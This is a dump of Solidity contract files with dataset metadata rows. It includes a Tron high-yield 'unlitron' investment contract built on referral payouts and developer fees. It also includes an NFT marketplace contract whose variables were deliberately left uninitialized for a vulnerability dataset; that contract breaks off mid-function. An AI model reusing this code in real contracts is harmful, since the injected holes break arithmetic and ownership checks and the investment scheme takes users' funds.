_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FundzLPTimeLock is Ownable {
using SafeMath for uint;
enum period {
second,
minute,
hour,
day,
week,
month, //inaccurate, assumes 30 day month, subject to drift
year,
quarter,//13 weeks
biannual//26 weeks
}
//The length in seconds for each epoch between payments
uint epochLength;
// ERC20 basic token contract being held
IERC20 private _token;
// beneficiary of tokens after they are released
address private _beneficiary;
uint periods;
//the size of periodic payments
uint paymentSize;
uint paymentsRemaining = 0;
uint startTime = 0;
uint beneficiaryBalance = 0;
function initialize(address tokenAddress, address beneficiary, uint duration,uint durationMultiple,uint p) public onlyOwner{
release();
require(paymentsRemaining == 0, 'Cannot initialize during active vesting schedule');
require(duration > 0 && p > 0, 'Epoch parameters must be positive');
_token = IERC20(tokenAddress);
_beneficiary = beneficiary;
if(duration<=uint(period.biannual)){
if(duration == uint(period.second)){
epochLength = durationMultiple * 1 seconds;
}else if(duration == uint(period.minute)){
epochLength = durationMultiple * 1 minutes;
}
else if(duration == uint(period.hour)){
epochLength = durationMultiple * 1 hours;
}else if(duration == uint(period.day)){
epochLength = durationMultiple * 1 days;
}
else if(duration == uint(period.week)){
epochLength = durationMultiple * 1 weeks;
}else if(duration == uint(period.month)){
epochLength = durationMultiple * 30 days;
}else if(duration == uint(period.year)){
epochLength = durationMultiple * 52 weeks;
}else if(duration == uint(period.quarter)){
epochLength = durationMultiple * 13 weeks;
}
else if(duration == uint(period.biannual)){
epochLength = 26 weeks;
}
}
else{
epochLength = duration; //custom value
}
periods = p;
emit Initialized(tokenAddress,beneficiary,epochLength,p);
}
function deposit (uint amount) public { //remember to ERC20.approve
require (_token.transferFrom(msg.sender,address(this),amount),'transfer failed');
uint balance = _token.balanceOf(address(this));
if(paymentsRemaining==0)
{
paymentsRemaining = periods;
startTime = block.timestamp;
}
paymentSize = balance/paymentsRemaining;
emit PaymentsUpdatedOnDeposit(paymentSize,startTime,paymentsRemaining);
}
function getElapsedReward() public view returns (uint,uint,uint){
if(epochLength == 0)
return (0, startTime,paymentsRemaining);
uint elapsedEpochs = (block.timestamp - startTime)/epochLength;
if(elapsedEpochs==0)
return (0, startTime,paymentsRemaining);
elapsedEpochs = elapsedEpochs>paymentsRemaining?paymentsRemaining:elapsedEpochs;
uint newStartTime = block.timestamp;
uint newPaymentsRemaining = paymentsRemaining.sub(elapsedEpochs);
uint balance =_token.balanceOf(address(this));
uint accumulatedFunds = paymentSize.mul(elapsedEpochs);
return (beneficiaryBalance.add(accumulatedFunds>balance?balance:accumulatedFunds),newStartTime,newPaymentsRemaining);
}
function updateBeneficiaryBalance() private {
(beneficiaryBalance,startTime, paymentsRemaining) = getElapsedReward();
}
function changeBeneficiary (address beneficiary) public onlyOwner{
require (paymentsRemaining == 0, 'LPTimelock: cannot change beneficiary while LP balance positive');
_beneficiary = beneficiary;
}
function beneficiary() public view returns (address) {
return _beneficiary;
}
function release() public {
// solhint-disable-next-line not-rely-on-time
require(block.timestamp >= startTime, "LPTimelock: current time is before release time");
updateBeneficiaryBalance();
uint amountToSend = beneficiaryBalance;
beneficiaryBalance = 0;
if(amountToSend>0)
require(_token.transfer(_beneficiary,amountToSend),'release funds failed');
emit FundsReleasedToBeneficiary(_beneficiary,amountToSend,block.timestamp);
}
event PaymentsUpdatedOnDeposit(uint paymentSize,uint startTime, uint paymentsRemaining);
event Initialized (address tokenAddress, address beneficiary, uint duration,uint periods);
event FundsReleasedToBeneficiary(address beneficiary, uint value, uint timeStamp);
}
| 82,686 | 649 |
aa3cae6ba46b69d12fc09884ec3714d2758e7cbf3e7b8c3238a858ff8568929a
| 21,420 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TB/TBcbYN6pukG8VyuaiSJ5nxywx6QbAUxVAf_unlitron.sol
| 5,520 | 20,656 |
//SourceUnit: trxontop.sol
pragma solidity 0.5.8;
contract unlitron {
// -- Investor -- //
struct InfinitePlan {
uint256 activeDeposit;
uint256 recordDeposit;
uint256 dividends;
uint256 depositsCount;
uint256 withdrawn;
}
struct LuckyPlan {
uint256 activeDeposit;
uint256 recordDeposit;
uint256 tarif;
uint256 dividends;
uint256 depositsCount;
uint256 depositStartTime;
uint256 depositFinishTime;
uint256 withdrawn;
}
struct Player {
// unlimited Plan
InfinitePlan[1] infinitePlan;
// bounty Plan
LuckyPlan[1] luckyPlan;
// General
uint8 withdrawChances;
address upline;
uint256 direct_bonus;
uint256 match_bonus;
uint256 last_payout;
uint256 total_withdrawn;
uint256 total_reinvested;
uint256 total_withdrawnReferral;
uint256 total_match_bonus;
uint256 total_direct_bonus;
uint256 total_invested;
uint256 firstDep_Time;
mapping(uint8 => uint256) structure;
}
// -- Investor -- //
// unlimited Plan
uint256 private infinitePlanDeposit_StartTime;
uint40 private infinitePlanDeposit_TimeToStart;
uint40 private min_InfiniteInvest;
uint40 private max_InfiniteInvest;
uint40 private min_InfiniteWithdraw;
uint256 private infiniteTarif;
// bounty Plan
uint256 private luckyPlanDeposit_StartTime;
uint40 private luckyPlanDeposit_TimeToStart;
uint40 private luckyPlan_LifeTime;
uint40 private min_LuckyInvest;
uint40 private max_LuckyInvest;
uint40 private min_LuckyWithdraw;
// General
address payable private developer;
uint256 private contract_CreateTime;
uint256 private contract_StartTime;
uint40 private contract_TimeToStart;
uint8 private defaultWithdrawChances;
uint256 private invested;
uint256 private investors;
uint256 private totalWithdrawn;
uint256 private totalWithdrawnReferral;
uint256 private direct_bonus;
uint256 private match_bonus;
uint256 private maintenance_fee;
uint256 private advertising_fee;
uint256 private whaleBalance;
uint256 private whaleRetrivePercent;
uint256 private infiniteDepositCount;
uint256 private luckyDepositCount;
uint256 private revokeCount;
uint256 private revokeRetPercent;
uint8[] private ref_bonuses;
mapping(address => Player) private players;
event Upline(address indexed addr, address indexed upline, uint256 bonus);
event NewDeposit(address indexed addr, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
constructor() public {
developer = msg.sender;
contract_CreateTime = now;
contract_TimeToStart = 33 * 60 * 60;
contract_StartTime = contract_CreateTime + contract_TimeToStart;
maintenance_fee = 10;
advertising_fee = 10;
defaultWithdrawChances = 5;
revokeRetPercent = 50;
whaleBalance = 30000E6;
whaleRetrivePercent = 50;
ref_bonuses.push(6);
ref_bonuses.push(4);
// unlimited Plan
infiniteTarif = 70E6;
infinitePlanDeposit_TimeToStart = 0 * 24 * 60 * 60;
infinitePlanDeposit_StartTime = contract_CreateTime + infinitePlanDeposit_TimeToStart;
min_InfiniteInvest = 10E6;
max_InfiniteInvest = 1000000E6;
min_InfiniteWithdraw = 1E6;
// bounty Plan
luckyPlanDeposit_TimeToStart = contract_TimeToStart;
luckyPlanDeposit_StartTime = contract_CreateTime + luckyPlanDeposit_TimeToStart;
luckyPlan_LifeTime = 7 * 24 * 60 * 60;
min_LuckyInvest = 10E6;
max_LuckyInvest = 1000000E6;
min_LuckyWithdraw = 0;
}
modifier onlyDeveloper {
require(msg.sender == developer);
_;
}
function revokeContract() external {
uint256 retriveAmountTotal = getRetriveAmountT(msg.sender, revokeRetPercent);
require(retriveAmountTotal > 0, "Earnings exceed deposited funds");
uint contractBalance = address(this).balance;
if (contractBalance > retriveAmountTotal) {
resetPlayerStatistics(msg.sender);
totalWithdrawn += retriveAmountTotal;
totalWithdrawnReferral += getRetriveAmountR(msg.sender);
revokeCount++;
investors--;
msg.sender.transfer(retriveAmountTotal);
payOwnerMaintenanceFee(retriveAmountTotal);
}
}
function getRetriveAmountT(address _addr, uint256 rt) private view returns(uint256) {
return (getRetriveAmountIL(_addr) * rt / 100) + (getRetriveAmountR(_addr));
}
function getRetriveAmountIL(address _addr) private view returns(uint256) {
Player storage player = players[_addr];
uint256 a = player.infinitePlan[0].recordDeposit + player.luckyPlan[0].recordDeposit;
uint256 b = player.infinitePlan[0].withdrawn + player.luckyPlan[0].withdrawn;
return minZero(a, b);
}
function getRetriveAmountR(address _addr) private view returns(uint256) {
Player storage player = players[_addr];
return (player.match_bonus + player.direct_bonus);
}
function resetPlayerStatistics(address _addr) private {
Player storage player = players[_addr];
player.infinitePlan[0].activeDeposit = 0;
player.infinitePlan[0].recordDeposit = 0;
player.infinitePlan[0].dividends = 0;
player.infinitePlan[0].depositsCount = 0;
player.infinitePlan[0].withdrawn = 0;
player.luckyPlan[0].activeDeposit = 0;
player.luckyPlan[0].recordDeposit = 0;
player.luckyPlan[0].tarif = 0;
player.luckyPlan[0].dividends = 0;
player.luckyPlan[0].depositsCount = 0;
player.luckyPlan[0].depositStartTime = now;
player.luckyPlan[0].depositFinishTime = now;
player.luckyPlan[0].withdrawn = 0;
player.withdrawChances = 0;
player.direct_bonus = 0;
player.match_bonus = 0;
player.last_payout = now;
player.total_withdrawn = 0;
player.total_reinvested = 0;
player.total_withdrawnReferral = 0;
player.total_match_bonus = 0;
player.total_direct_bonus = 0;
player.total_invested = 0;
player.firstDep_Time = 0;
player.upline = address(0);
}
function refPayout(address _addr, uint256 _amount) private {
address up = players[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
uint256 bonus = _amount * ref_bonuses[i] / 100;
players[up].match_bonus += bonus;
players[up].total_match_bonus += bonus;
match_bonus += bonus;
emit MatchPayout(up, _addr, bonus);
up = players[up].upline;
}
}
function setUpline(address _addr, address _upline, uint256 _amount) private {
if(players[_addr].upline == address(0) && _addr != developer) {
if(players[_upline].infinitePlan[0].activeDeposit == 0) {
_upline = developer;
}
else {
players[_addr].direct_bonus += _amount * 1 / 100;
players[_addr].total_direct_bonus += _amount * 1 / 100;
direct_bonus += _amount * 1 / 100;
}
players[_addr].upline = _upline;
emit Upline(_addr, _upline, _amount * 1 / 100);
for(uint8 i = 0; i < ref_bonuses.length; i++) {
players[_upline].structure[i]++;
_upline = players[_upline].upline;
if(_upline == address(0)) break;
}
}
}
function getLuckyTarif() view private returns (uint256) {
uint8 value = uint8(uint256(keccak256(abi.encode(block.timestamp, block.difficulty)))%6) + 15;
return value;
}
function infinitePlanDeposit(address _upline) external payable {
Player storage player = players[msg.sender];
require(now >= infinitePlanDeposit_StartTime, "Unlimited Plan is not available yet");
require(msg.value >= min_InfiniteInvest, "Minimum to invest is 100 TRX");
require(msg.value <= max_InfiniteInvest, "Maximum to invest is 1 000 000 TRX");
setUpline(msg.sender, _upline, msg.value);
if (player.infinitePlan[0].depositsCount == 0) {
player.firstDep_Time = now;
if (contract_StartTime > now) {
player.last_payout = contract_StartTime;
} else {
player.last_payout = now;
}
investors++;
player.withdrawChances = defaultWithdrawChances;
} else {
update_InfinitePlanInterestProfit(msg.sender);
}
player.infinitePlan[0].depositsCount++;
infiniteDepositCount ++;
invested += msg.value;
player.infinitePlan[0].activeDeposit += msg.value;
player.infinitePlan[0].recordDeposit += msg.value;
player.total_invested += msg.value;
payOwnerAdvertisingFee(msg.value);
refPayout(msg.sender, msg.value);
emit NewDeposit(msg.sender, msg.value);
}
function luckyPlanDeposit() external payable {
Player storage player = players[msg.sender];
require(now >= luckyPlanDeposit_StartTime, "Bounty Plan is not available yet");
require(player.luckyPlan[0].activeDeposit == 0, "Only 1 Bounty Plan is allowed at the same time");
require(player.infinitePlan[0].activeDeposit >= min_InfiniteInvest, "Unlimited Plan Deposit is require first");
require(msg.value >= min_LuckyInvest && msg.value <= max_LuckyInvest, "Minimum Bounty Plan Deposit must be 1000 TRX");
player.luckyPlan[0].depositsCount++;
luckyDepositCount++;
invested += msg.value;
player.luckyPlan[0].activeDeposit = msg.value;
player.luckyPlan[0].recordDeposit += msg.value;
player.total_invested += msg.value;
player.luckyPlan[0].tarif = getLuckyTarif();
player.luckyPlan[0].depositStartTime = now;
player.luckyPlan[0].depositFinishTime = player.luckyPlan[0].depositStartTime + luckyPlan_LifeTime;
payOwnerAdvertisingFee(msg.value);
emit NewDeposit(msg.sender, msg.value);
}
function update_InfinitePlanInterestProfit(address _addr) private {
Player storage player = players[_addr];
uint256 amount = getInfinitePlan_InterestProfit(_addr);
if(amount > 0) {
player.infinitePlan[0].dividends += amount;
player.last_payout = now;
}
}
function infinitePlanWithdraw() external {
Player storage player = players[msg.sender];
require(player.withdrawChances > 0, "You have to buy Withdraw Chances");
uint contractBalance = address(this).balance;
update_InfinitePlanInterestProfit(msg.sender);
uint256 amount = player.infinitePlan[0].dividends;
if (player.infinitePlan[0].activeDeposit > whaleBalance) {
uint256 wAmount = amount * whaleRetrivePercent / 100;
amount = wAmount;
}
require(amount >= min_InfiniteWithdraw, "Minimum Withdraw is 20 TRX");
require(contractBalance >= amount, "Contract balance < Interest Profit");
if (player.infinitePlan[0].activeDeposit > whaleBalance) {
player.infinitePlan[0].dividends -= amount;
} else {
player.infinitePlan[0].dividends = 0;
}
player.total_withdrawn += amount;
player.infinitePlan[0].withdrawn += amount;
totalWithdrawn += amount;
player.withdrawChances--;
msg.sender.transfer(amount);
payOwnerMaintenanceFee(amount);
emit Withdraw(msg.sender, amount);
}
function luckyPlanWithdraw() external {
Player storage player = players[msg.sender];
require(player.luckyPlan[0].depositFinishTime < now, "Plan not finished yet");
uint amount = getLuckyPlan_InterestProfit(msg.sender);
uint contractBalance = address(this).balance;
require(contractBalance >= amount, "Contract balance < Interest Profit");
player.luckyPlan[0].activeDeposit = 0;
player.luckyPlan[0].tarif = 0;
player.total_withdrawn += amount;
player.luckyPlan[0].withdrawn += amount;
totalWithdrawn += amount;
msg.sender.transfer(amount);
payOwnerMaintenanceFee(amount);
emit Withdraw(msg.sender, amount);
}
function referralWithdraw() external {
Player storage player = players[msg.sender];
uint contractBalance = address(this).balance;
require(player.infinitePlan[0].depositsCount > 0, "Active deposit is require");
require(contractBalance >= player.match_bonus + player.direct_bonus, "Contract balance < Referral bonus");
uint256 amount = player.match_bonus + player.direct_bonus;
player.match_bonus = 0;
player.direct_bonus = 0;
player.total_withdrawn += amount;
player.total_withdrawnReferral += amount;
totalWithdrawnReferral += amount;
totalWithdrawn += amount;
msg.sender.transfer(amount);
payOwnerMaintenanceFee(amount);
emit Withdraw(msg.sender, amount);
}
function buyWithdrawChances() external payable {
Player storage player = players[msg.sender];
require(player.infinitePlan[0].activeDeposit >= min_InfiniteInvest, "Unlimited Plan Deposit is require first");
require(msg.value == 100E6, "Minimum amount must be 100");
player.withdrawChances += defaultWithdrawChances; // Add 5 WithdrawChances
}
function infinitePlanReinvest() external {
Player storage player = players[msg.sender];
require(player.infinitePlan[0].activeDeposit >= min_InfiniteInvest, "Unlimited Plan Deposit is require first");
update_InfinitePlanInterestProfit(msg.sender);
uint256 reinvestAmount = player.infinitePlan[0].dividends;
player.infinitePlan[0].dividends = 0;
player.infinitePlan[0].activeDeposit += reinvestAmount;
player.total_reinvested += reinvestAmount;
}
function allReinvest() external {
Player storage player = players[msg.sender];
require(player.infinitePlan[0].activeDeposit >= min_InfiniteInvest, "Unlimited Plan Deposit is require first");
update_InfinitePlanInterestProfit(msg.sender);
uint256 reinvestAmount = player.infinitePlan[0].dividends + player.match_bonus + player.direct_bonus;
player.infinitePlan[0].dividends = 0;
player.match_bonus = 0;
player.direct_bonus = 0;
player.infinitePlan[0].activeDeposit += reinvestAmount;
player.total_reinvested += reinvestAmount;
}
function getInfinitePlan_InterestProfit(address _addr) view private returns(uint256 value) {
Player storage player = players[_addr];
uint256 fr = player.last_payout;
if (contract_StartTime > now) {
fr = now;
}
uint256 to = now;
if(fr < to) {
value = player.infinitePlan[0].activeDeposit * (to - fr) * infiniteTarif / 86400 / 100E6;
} else {
value = 0;
}
return value;
}
function getLuckyPlan_InterestProfit(address _addr) view private returns(uint256 value) {
Player storage player = players[_addr];
if (player.luckyPlan[0].activeDeposit > 0) {
if (now < player.luckyPlan[0].depositFinishTime) {
uint256 fr = player.luckyPlan[0].depositStartTime;
uint256 to = now;
value = player.luckyPlan[0].activeDeposit * (to - fr) * player.luckyPlan[0].tarif / 86400 / 100;
} else {
value = player.luckyPlan[0].activeDeposit * luckyPlan_LifeTime * player.luckyPlan[0].tarif / 86400 / 100;
}
} else {
value = 0;
}
return value;
}
function activeInfiniteInvest(address _addr) external view onlyDeveloper returns(uint256) {
Player storage player = players[_addr];
uint256 value = player.infinitePlan[0].activeDeposit;
return value;
}
function activeLuckyInvest(address _addr) external view onlyDeveloper returns(uint256) {
Player storage player = players[_addr];
uint256 value = player.luckyPlan[0].activeDeposit;
return value;
}
function payOwnerMaintenanceFee(uint256 val) private {
uint256 amount_maintenance = (val * maintenance_fee) / 100;
developer.transfer(amount_maintenance);
}
function payOwnerAdvertisingFee(uint256 val) private {
uint256 amount_advertising = (val * advertising_fee) / 100;
developer.transfer(amount_advertising);
}
function minZero(uint256 a, uint256 b) private pure returns(uint256) {
if (a > b) {
return a - b;
} else {
return 0;
}
}
function userGeneralInfo(address _addr) view external returns(uint256 _totalInvested, uint256 _totalReinvested, uint256 _totalWithdrawn, uint256 _total_WithdrawnReferral,
uint256 _totalMatchBonus, uint256 _totalDirectBonus, uint256 _matchBonus, uint256 _directBonus,
uint256 _withdrawChances, uint256 _runningTime, uint256[3] memory _structure) {
Player storage player = players[_addr];
uint256 runningTime = 0;
if (player.total_invested > 0) {
runningTime = now - player.firstDep_Time;
}
for(uint8 i = 0; i < ref_bonuses.length; i++) {
_structure[i] = player.structure[i];
}
return (player.total_invested,
player.total_reinvested,
player.total_withdrawn,
player.total_withdrawnReferral,
player.total_match_bonus,
player.total_direct_bonus,
player.match_bonus,
player.direct_bonus,
player.withdrawChances,
runningTime,
_structure);
}
function userRevokeContractInfo(address _addr) view external returns(uint256 _revokeRetAmountIL, uint256 _revokeRetAmountR, uint256 _revokeRetAmountT) {
return (getRetriveAmountT(_addr, revokeRetPercent) - getRetriveAmountR(_addr),
getRetriveAmountR(_addr),
getRetriveAmountT(_addr, revokeRetPercent));
}
function userInfinitePlanInfo(address _addr) view external returns(uint256 _activeDeposit, uint256 _recordDeposit, uint256 _dividends, uint256 _depositsCount, uint256 _withdrawn) {
Player storage player = players[_addr];
return (player.infinitePlan[0].activeDeposit,
player.infinitePlan[0].recordDeposit,
player.infinitePlan[0].dividends + getInfinitePlan_InterestProfit(_addr),
player.infinitePlan[0].depositsCount,
player.infinitePlan[0].withdrawn);
}
function userLuckyPlanInfo(address _addr) view external returns(uint256 _activeDeposit, uint256 _recordDeposit, uint256 _tarif, uint256 _dividends, uint256 _depositsCount,
uint256 _depositStartTime, uint256 _depositFinishTime, uint256 _withdrawn, uint256 _nextWithdraw) {
Player storage player = players[_addr];
return (player.luckyPlan[0].activeDeposit,
player.luckyPlan[0].recordDeposit,
player.luckyPlan[0].tarif,
getLuckyPlan_InterestProfit(_addr),
player.luckyPlan[0].depositsCount,
player.luckyPlan[0].depositStartTime,
player.luckyPlan[0].depositFinishTime,
player.luckyPlan[0].withdrawn,
minZero(player.luckyPlan[0].depositFinishTime, now));
}
function contractInfo() view external returns(uint256 _invested, uint256 _investors, uint256 _matchBonus, uint256 _infiniteDepositCount, uint256 _luckyDepositCount,
uint256 _contractStartTime, uint256 _contractIniTime, uint256 _infiniteDepIniTime, uint256 _luckyDepIniTime) {
return (invested,
investors,
match_bonus,
infiniteDepositCount,
luckyDepositCount,
contract_StartTime,
minZero(contract_StartTime, now),
minZero(infinitePlanDeposit_StartTime, now),
minZero(luckyPlanDeposit_StartTime, now));
}
}
| 284,605 | 650 |
300e978e55a9e5ab4096980f44adb98405f7b759c49522583aaf16be41da91bb
| 16,294 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
src/securityAbandonerAndInjector/uninitializedLocalVariables/manualCheck/0x7d31632aea29078de3b6cc99b93f1e9993d6dcfa_uninitializedLocalStateVariables.sol
| 4,213 | 14,933 |
pragma solidity ^0.5.8;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c ; //inject UNINIT LOCAL/STATE VAR
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c ; //inject UNINIT LOCAL/STATE VAR
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c ; //inject UNINIT LOCAL/STATE VAR
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c ; //inject UNINIT LOCAL/STATE VAR
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract IERC721 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
contract ERC20BasicInterface {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
uint8 public decimals;
}
contract Bussiness is Ownable {
using SafeMath for uint256;
address public ceoAddress ; //inject UNINIT LOCAL/STATE VAR
IERC721 public erc721Address ; //inject UNINIT LOCAL/STATE VAR
ERC20BasicInterface public hbwalletToken ; //inject UNINIT LOCAL/STATE VAR
uint256 public ETHFee ; // 25 = 2,5 % //inject UNINIT LOCAL/STATE VAR
uint256 public Percen ; //inject UNINIT LOCAL/STATE VAR
uint256 public HBWALLETExchange ; //inject UNINIT LOCAL/STATE VAR
// cong thuc hbFee = ETHFee / Percen * HBWALLETExchange / 2
uint256 public limitETHFee ; //inject UNINIT LOCAL/STATE VAR
uint256 public limitHBWALLETFee ; //inject UNINIT LOCAL/STATE VAR
uint256 public hightLightFee ; //inject UNINIT LOCAL/STATE VAR
constructor() public {}
struct Price {
address payable tokenOwner;
uint256 price;
uint256 fee;
uint256 hbfee;
bool isHightlight;
}
uint256[] public arrayTokenIdSale;
mapping(uint256 => Price) public prices;
modifier onlyCeoAddress() {
require(msg.sender == ceoAddress);
_;
}
modifier isOwnerOf(uint256 _tokenId) {
require(erc721Address.ownerOf(_tokenId) == msg.sender);
_;
}
// Move the last element to the deleted spot.
// Delete the last element, then correct the length.
function _burnArrayTokenIdSale(uint8 index) internal {
if (index >= arrayTokenIdSale.length) return;
for (uint i ; i<arrayTokenIdSale.length-1; i++){ //inject UNINIT LOCAL/STATE VAR
arrayTokenIdSale[i] = arrayTokenIdSale[i+1];
}
delete arrayTokenIdSale[arrayTokenIdSale.length-1];
arrayTokenIdSale.length--;
}
function _burnArrayTokenIdSaleByArr(uint8[] memory arr) internal {
for(uint8 i; i<arr.length; i++){
_burnArrayTokenIdSale(i);
}
}
function ownerOf(uint256 _tokenId) public view returns (address){
return erc721Address.ownerOf(_tokenId);
}
function balanceOf() public view returns (uint256){
return address(this).balance;
}
function getApproved(uint256 _tokenId) public view returns (address){
return erc721Address.getApproved(_tokenId);
}
function setPrice(uint256 _tokenId, uint256 _ethPrice, uint256 _ethfee, uint _hbfee, bool _isHightLight) internal {
prices[_tokenId] = Price(msg.sender, _ethPrice, _ethfee, _hbfee, _isHightLight);
arrayTokenIdSale.push(_tokenId);
}
function calPriceFeeEth(uint256 _tokenId, uint256 _ethPrice, uint _isHightLight) public view returns(uint256, uint256) {
uint256 ethfee;
uint256 _hightLightFee ; //inject UNINIT LOCAL/STATE VAR
uint256 ethNeed;
if (_isHightLight == 1 && (prices[_tokenId].price == 0 || !prices[_tokenId].isHightlight)) {
_hightLightFee = hightLightFee;
}
if (prices[_tokenId].price < _ethPrice) {
ethfee = _ethPrice.sub(prices[_tokenId].price).mul(ETHFee).div(Percen);
if(prices[_tokenId].price == 0) {
if (ethfee >= limitETHFee) {
ethNeed = ethfee.add(_hightLightFee);
} else {
ethNeed = limitETHFee.add(_hightLightFee);
}
}
}
return (ethNeed, _hightLightFee);
}
function setPriceFeeEth(uint256 _tokenId, uint256 _ethPrice, uint _isHightLight) public payable isOwnerOf(_tokenId) {
require(prices[_tokenId].price != _ethPrice);
uint256 ethfee;
uint256 _hightLightFee ; //inject UNINIT LOCAL/STATE VAR
if (_isHightLight == 1 && (prices[_tokenId].price == 0 || !prices[_tokenId].isHightlight)) {
_hightLightFee = hightLightFee;
}
if (prices[_tokenId].price < _ethPrice) {
ethfee = _ethPrice.sub(prices[_tokenId].price).mul(ETHFee).div(Percen);
if(prices[_tokenId].price == 0) {
if (ethfee >= limitETHFee) {
require(msg.value == ethfee.add(_hightLightFee));
} else {
require(msg.value == limitETHFee.add(_hightLightFee));
ethfee = limitETHFee;
}
}
ethfee = ethfee.add(prices[_tokenId].fee);
} else ethfee = _ethPrice.mul(ETHFee).div(Percen);
setPrice(_tokenId, _ethPrice, ethfee, 0, _isHightLight == 1);
}
function calPriceFeeHBWALLET(uint256 _tokenId, uint256 _ethPrice, uint _isHightLight) public view returns (uint256){
uint fee;
uint256 ethfee;
uint _hightLightFee ; //inject UNINIT LOCAL/STATE VAR
uint hbNeed;
if (_isHightLight == 1 && (prices[_tokenId].price == 0 || !prices[_tokenId].isHightlight)) {
// _hightLightFee = hightLightFee * HBWALLETExchange / 2 / (10 ** 16);
_hightLightFee = hightLightFee.mul(HBWALLETExchange).div(2).div(10 ** 16);
}
if (prices[_tokenId].price < _ethPrice) {
ethfee = _ethPrice.sub(prices[_tokenId].price).mul(ETHFee).div(Percen);
fee = ethfee.mul(HBWALLETExchange).div(2).div(10 ** 16);
// ethfee * HBWALLETExchange / 2 * (10 ** 2) / (10 ** 18)
if(prices[_tokenId].price == 0) {
if (fee >= limitHBWALLETFee) {
hbNeed = fee.add(_hightLightFee);
} else {
hbNeed = limitHBWALLETFee.add(_hightLightFee);
}
}
}
return hbNeed;
}
function setPriceFeeHBWALLET(uint256 _tokenId, uint256 _ethPrice, uint _isHightLight) public isOwnerOf(_tokenId) {
require(prices[_tokenId].price != _ethPrice);
uint fee;
uint256 ethfee;
uint _hightLightFee ; //inject UNINIT LOCAL/STATE VAR
if (_isHightLight == 1 && (prices[_tokenId].price == 0 || !prices[_tokenId].isHightlight)) {
_hightLightFee = hightLightFee.mul(HBWALLETExchange).div(2).div(10 ** 16);
}
if (prices[_tokenId].price < _ethPrice) {
ethfee = _ethPrice.sub(prices[_tokenId].price).mul(ETHFee).div(Percen);
fee = ethfee.mul(HBWALLETExchange).div(2).div(10 ** 16);
// ethfee * HBWALLETExchange / 2 * (10 ** 2) / (10 ** 18)
if(prices[_tokenId].price == 0) {
if (fee >= limitHBWALLETFee) {
require(hbwalletToken.transferFrom(msg.sender, address(this), fee.add(_hightLightFee)));
} else {
require(hbwalletToken.transferFrom(msg.sender, address(this), limitHBWALLETFee.add(_hightLightFee)));
fee = limitHBWALLETFee;
}
}
fee = fee.add(prices[_tokenId].hbfee);
} else {
ethfee = _ethPrice.mul(ETHFee).div(Percen);
fee = ethfee.mul(HBWALLETExchange).div(2).div(10 ** 16);
}
setPrice(_tokenId, _ethPrice, 0, fee, _isHightLight == 1);
}
function removePrice(uint256 _tokenId) public isOwnerOf(_tokenId) returns (uint256){
if (prices[_tokenId].fee > 0) msg.sender.transfer(prices[_tokenId].fee);
else if (prices[_tokenId].hbfee > 0) hbwalletToken.transfer(msg.sender, prices[_tokenId].hbfee);
resetPrice(_tokenId);
return prices[_tokenId].price;
}
function setFee(uint256 _ethFee, uint _HBWALLETExchange, uint256 _hightLightFee) public onlyOwner returns (uint256, uint, uint256){
require(_ethFee >= 0 && _HBWALLETExchange >= 1 && _hightLightFee >= 0);
ETHFee = _ethFee;
HBWALLETExchange = _HBWALLETExchange;
hightLightFee = _hightLightFee;
return (ETHFee, HBWALLETExchange, hightLightFee);
}
function setLimitFee(uint256 _ethlimitFee, uint _hbWalletlimitFee) public onlyOwner returns (uint256, uint){
require(_ethlimitFee >= 0 && _hbWalletlimitFee >= 0);
limitETHFee = _ethlimitFee;
limitHBWALLETFee = _hbWalletlimitFee;
return (limitETHFee, limitHBWALLETFee);
}
function _withdraw(uint256 amount, uint256 _amountHB) internal {
require(address(this).balance >= amount && hbwalletToken.balanceOf(address(this)) >= _amountHB);
if(amount > 0) {
msg.sender.transfer(amount);
}
if(_amountHB > 0) {
hbwalletToken.transfer(msg.sender, _amountHB);
}
}
function withdraw(uint256 amount, uint8 _amountHB) public onlyCeoAddress {
_withdraw(amount, _amountHB);
}
function cancelBussiness() public onlyCeoAddress {
uint256[] memory arr = arrayTokenIdSale;
uint length ; //inject UNINIT LOCAL/STATE VAR
